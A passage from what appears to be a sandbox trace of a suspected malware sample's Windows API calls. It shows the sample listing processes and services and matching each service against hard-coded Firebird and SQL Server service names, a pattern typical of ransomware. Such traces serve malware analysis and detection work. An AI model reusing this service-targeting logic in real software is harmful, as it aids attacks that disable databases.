lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdb0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x9a0, pcPriClassBase=8, dwFlags=0x0, szExeFile="dttcodexgigas.96456d2195a94283890a2a856e33651b4f6e40d3.exe")) returned 1 [0188.552] lstrlenW (lpString="dttcodexgigas.96456d2195a94283890a2a856e33651b4f6e40d3.exe") returned 58 [0188.552] Process32NextW (in: hSnapshot=0x568, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf54, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x2dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0188.553] lstrlenW (lpString="dllhost.exe") returned 11 [0188.553] Process32NextW (in: hSnapshot=0x568, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf7c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0188.553] lstrlenW (lpString="dllhost.exe") returned 11 [0188.553] Process32NextW (in: hSnapshot=0x568, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf7c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 0 [0188.554] CloseHandle (hObject=0x568) returned 1 [0188.554] Sleep (dwMilliseconds=0x1f4) [0189.386] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x408dc68 [0189.387] EnumServicesStatusExW (in: hSCManager=0x408dc68, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x251ff3c, lpServicesReturned=0x251ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x251ff3c, lpServicesReturned=0x251ff54, lpResumeHandle=0x0) returned 0 [0189.387] GetLastError () returned 0xea [0189.388] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0x1bc4) returned 0x4052988 [0189.388] EnumServicesStatusExW (in: hSCManager=0x408dc68, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x4052988, cbBufSize=0x1bc4, pcbBytesNeeded=0x251ff3c, lpServicesReturned=0x251ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x4052988, pcbBytesNeeded=0x251ff3c, lpServicesReturned=0x251ff54, lpResumeHandle=0x0) returned 1 [0189.389] CloseServiceHandle (hSCObject=0x408dc68) returned 1 [0189.390] lstrlenW (lpString="Appinfo") returned 7 [0189.390] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0189.390] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0189.390] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0189.390] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0189.390] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0189.390] lstrlenW (lpString="AppXSvc") returned 7 [0189.390] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AppXSvc") returned 1 [0189.390] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AppXSvc") returned 1 [0189.390] lstrcmpiW (lpString1="sqlwriter", lpString2="AppXSvc") returned 1 [0189.390] lstrcmpiW (lpString1="mssqlserver", lpString2="AppXSvc") returned 1 [0189.390] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AppXSvc") returned 1 [0189.390] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0189.390] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0189.390] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0189.390] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0189.390] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0189.390] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0189.390] lstrlenW (lpString="Audiosrv") returned 8 [0189.390] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Audiosrv") returned 1 [0189.390] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Audiosrv") returned 1 [0189.390] lstrcmpiW (lpString1="sqlwriter", lpString2="Audiosrv") returned 1 [0189.390] lstrcmpiW (lpString1="mssqlserver", lpString2="Audiosrv") returned 1 [0189.390] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Audiosrv") returned 1 [0189.390] lstrlenW (lpString="BFE") returned 3 [0189.390] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0189.391] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0189.391] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0189.391] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0189.391] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0189.391] lstrlenW (lpString="BrokerInfrastructure") returned 20 [0189.391] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0189.391] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0189.391] lstrcmpiW (lpString1="sqlwriter", lpString2="BrokerInfrastructure") returned 1 [0189.391] lstrcmpiW (lpString1="mssqlserver", lpString2="BrokerInfrastructure") returned 1 [0189.391] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BrokerInfrastructure") returned 1 [0189.391] lstrlenW (lpString="CDPSvc") returned 6 [0189.391] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CDPSvc") returned 1 [0189.391] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CDPSvc") returned 1 [0189.391] lstrcmpiW (lpString1="sqlwriter", lpString2="CDPSvc") returned 1 [0189.391] lstrcmpiW (lpString1="mssqlserver", lpString2="CDPSvc") returned 1 [0189.391] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CDPSvc") returned 1 [0189.391] lstrlenW (lpString="ClickToRunSvc") returned 13 [0189.391] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0189.391] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0189.391] lstrcmpiW (lpString1="sqlwriter", lpString2="ClickToRunSvc") returned 1 [0189.391] lstrcmpiW (lpString1="mssqlserver", lpString2="ClickToRunSvc") returned 1 [0189.391] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ClickToRunSvc") returned 1 [0189.391] lstrlenW (lpString="CoreMessagingRegistrar") returned 22 [0189.391] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0189.391] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0189.391] lstrcmpiW (lpString1="sqlwriter", lpString2="CoreMessagingRegistrar") returned 1 [0189.391] lstrcmpiW (lpString1="mssqlserver", lpString2="CoreMessagingRegistrar") returned 1 [0189.391] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CoreMessagingRegistrar") returned 1 [0189.392] lstrlenW (lpString="CryptSvc") returned 8 [0189.392] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0189.392] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0189.392] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0189.392] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0189.392] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0189.392] lstrlenW (lpString="DcomLaunch") returned 10 [0189.392] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0189.392] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0189.392] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0189.392] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0189.392] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0189.392] lstrlenW (lpString="DeviceAssociationService") returned 24 [0189.392] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0189.392] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0189.392] lstrcmpiW (lpString1="sqlwriter", lpString2="DeviceAssociationService") returned 1 [0189.392] lstrcmpiW (lpString1="mssqlserver", lpString2="DeviceAssociationService") returned 1 [0189.392] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DeviceAssociationService") returned 1 [0189.392] lstrlenW (lpString="Dhcp") returned 4 [0189.392] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0189.392] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0189.392] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0189.392] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0189.392] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0189.392] lstrlenW (lpString="Dnscache") returned 8 [0189.392] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0189.392] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0189.393] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0189.393] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0189.393] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0189.393] lstrlenW (lpString="DPS") returned 3 [0189.393] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0189.393] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0189.393] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0189.393] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0189.393] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0189.393] lstrlenW (lpString="DusmSvc") returned 7 [0189.393] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DusmSvc") returned 1 [0189.393] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DusmSvc") returned 1 [0189.393] lstrcmpiW (lpString1="sqlwriter", lpString2="DusmSvc") returned 1 [0189.394] lstrcmpiW (lpString1="mssqlserver", lpString2="DusmSvc") returned 1 [0189.394] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DusmSvc") returned 1 [0189.394] lstrlenW (lpString="EventLog") returned 8 [0189.394] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventLog") returned 1 [0189.394] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventLog") returned 1 [0189.394] lstrcmpiW (lpString1="sqlwriter", lpString2="EventLog") returned 1 [0189.394] lstrcmpiW (lpString1="mssqlserver", lpString2="EventLog") returned 1 [0189.394] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventLog") returned 1 [0189.394] lstrlenW (lpString="EventSystem") returned 11 [0189.394] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0189.394] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0189.394] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0189.394] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0189.394] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0189.394] lstrlenW (lpString="FontCache") returned 9 [0189.394] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1 [0189.394] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1 [0189.394] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1 [0189.394] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1 [0189.394] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1 [0189.394] lstrlenW (lpString="gpsvc") returned 5 [0189.394] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0189.394] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0189.394] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0189.394] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0189.394] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0189.395] lstrlenW (lpString="iphlpsvc") returned 8 [0189.395] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0189.395] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0189.395] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0189.395] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0189.395] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0189.395] lstrlenW (lpString="KeyIso") returned 6 [0189.395] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="KeyIso") returned -1 [0189.395] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="KeyIso") returned -1 [0189.395] lstrcmpiW (lpString1="sqlwriter", lpString2="KeyIso") returned 1 [0189.395] lstrcmpiW (lpString1="mssqlserver", lpString2="KeyIso") returned 1 [0189.395] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="KeyIso") returned 1 [0189.395] lstrlenW (lpString="LanmanServer") returned 12 [0189.395] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0189.395] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0189.395] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0189.395] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0189.395] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0189.395] lstrlenW (lpString="LanmanWorkstation") returned 17 [0189.395] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0189.395] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0189.395] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0189.395] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0189.395] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0189.395] lstrlenW (lpString="lfsvc") returned 5 [0189.395] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lfsvc") returned -1 [0189.395] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lfsvc") returned -1 [0189.395] lstrcmpiW (lpString1="sqlwriter", lpString2="lfsvc") returned 1 [0189.395] lstrcmpiW (lpString1="mssqlserver", lpString2="lfsvc") returned 1 [0189.396] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lfsvc") returned 1 [0189.396] lstrlenW (lpString="lmhosts") returned 7 [0189.396] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0189.396] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0189.396] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0189.396] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0189.396] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0189.396] lstrlenW (lpString="LSM") returned 3 [0189.396] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LSM") returned -1 [0189.396] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LSM") returned -1 [0189.396] lstrcmpiW (lpString1="sqlwriter", lpString2="LSM") returned 1 [0189.396] lstrcmpiW (lpString1="mssqlserver", lpString2="LSM") returned 1 [0189.396] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LSM") returned 1 [0189.396] lstrlenW (lpString="MpsSvc") returned 6 [0189.396] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0189.396] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0189.396] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0189.396] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0189.396] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0189.396] lstrlenW (lpString="NcbService") returned 10 [0189.396] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NcbService") returned -1 [0189.396] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NcbService") returned -1 [0189.396] lstrcmpiW (lpString1="sqlwriter", lpString2="NcbService") returned 1 [0189.396] lstrcmpiW (lpString1="mssqlserver", lpString2="NcbService") returned -1 [0189.396] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NcbService") returned 1 [0189.396] lstrlenW (lpString="netprofm") returned 8 [0189.396] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0189.396] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0189.397] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0189.397] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0189.397] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0189.397] lstrlenW (lpString="NgcSvc") returned 6 [0189.397] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NgcSvc") returned -1 [0189.397] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NgcSvc") returned -1 [0189.397] lstrcmpiW (lpString1="sqlwriter", lpString2="NgcSvc") returned 1 [0189.397] lstrcmpiW (lpString1="mssqlserver", lpString2="NgcSvc") returned -1 [0189.397] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NgcSvc") returned 1 [0189.397] lstrlenW (lpString="NlaSvc") returned 6 [0189.397] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0189.397] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0189.397] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0189.397] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0189.397] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0189.397] lstrlenW (lpString="nsi") returned 3 [0189.397] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0189.397] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0189.397] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0189.397] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0189.397] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0189.397] lstrlenW (lpString="PcaSvc") returned 6 [0189.397] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0189.397] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0189.397] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0189.397] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0189.397] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0189.397] lstrlenW (lpString="PlugPlay") returned 8 [0189.398] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0189.398] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0189.398] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0189.398] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0189.398] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0189.398] lstrlenW (lpString="Power") returned 5 [0189.398] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0189.398] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0189.398] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0189.398] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0189.398] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0189.398] lstrlenW (lpString="ProfSvc") returned 7 [0189.398] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0189.398] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0189.398] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0189.398] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0189.398] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0189.398] lstrlenW (lpString="RpcEptMapper") returned 12 [0189.398] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0189.398] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0189.398] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0189.398] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0189.398] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0189.398] lstrlenW (lpString="RpcSs") returned 5 [0189.398] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0189.398] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0189.398] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0189.399] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0189.399] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0189.399] lstrlenW (lpString="SamSs") returned 5 [0189.399] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0189.399] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0189.399] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0189.399] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0189.399] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0189.399] lstrlenW (lpString="Schedule") returned 8 [0189.399] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0189.399] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0189.399] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0189.399] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0189.399] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0189.399] lstrlenW (lpString="SecurityHealthService") returned 21 [0189.399] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SecurityHealthService") returned -1 [0189.399] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SecurityHealthService") returned -1 [0189.399] lstrcmpiW (lpString1="sqlwriter", lpString2="SecurityHealthService") returned 1 [0189.399] lstrcmpiW (lpString1="mssqlserver", lpString2="SecurityHealthService") returned -1 [0189.399] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SecurityHealthService") returned 1 [0189.399] lstrlenW (lpString="SENS") returned 4 [0189.399] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0189.399] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0189.399] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0189.399] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0189.399] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0189.400] lstrlenW (lpString="ShellHWDetection") returned 16 [0189.400] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0189.400] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0189.400] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0189.400] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0189.400] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0189.400] lstrlenW (lpString="Spooler") returned 7 [0189.400] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0189.400] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0189.400] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0189.400] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0189.400] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0189.400] lstrlenW (lpString="StateRepository") returned 15 [0189.400] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="StateRepository") returned -1 [0189.400] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="StateRepository") returned -1 [0189.400] lstrcmpiW (lpString1="sqlwriter", lpString2="StateRepository") returned -1 [0189.400] lstrcmpiW (lpString1="mssqlserver", lpString2="StateRepository") returned -1 [0189.400] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="StateRepository") returned -1 [0189.400] lstrlenW (lpString="SysMain") returned 7 [0189.400] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0189.400] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0189.400] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0189.400] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0189.400] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0189.400] lstrlenW (lpString="SystemEventsBroker") returned 18 [0189.400] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SystemEventsBroker") returned -1 [0189.400] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SystemEventsBroker") returned -1 [0189.400] lstrcmpiW (lpString1="sqlwriter", lpString2="SystemEventsBroker") returned -1 [0189.400] lstrcmpiW (lpString1="mssqlserver", lpString2="SystemEventsBroker") returned -1 [0189.400] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SystemEventsBroker") returned -1 [0189.400] lstrlenW (lpString="Themes") returned 6 [0189.400] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0189.400] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0189.401] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0189.401] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0189.401] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0189.401] lstrlenW (lpString="tiledatamodelsvc") returned 16 [0189.401] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="tiledatamodelsvc") returned -1 [0189.401] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="tiledatamodelsvc") returned -1 [0189.401] lstrcmpiW (lpString1="sqlwriter", lpString2="tiledatamodelsvc") returned -1 [0189.401] lstrcmpiW (lpString1="mssqlserver", lpString2="tiledatamodelsvc") returned -1 [0189.401] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4052988 | out: hHeap=0x420000) returned 1 [0189.401] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x580 [0189.408] 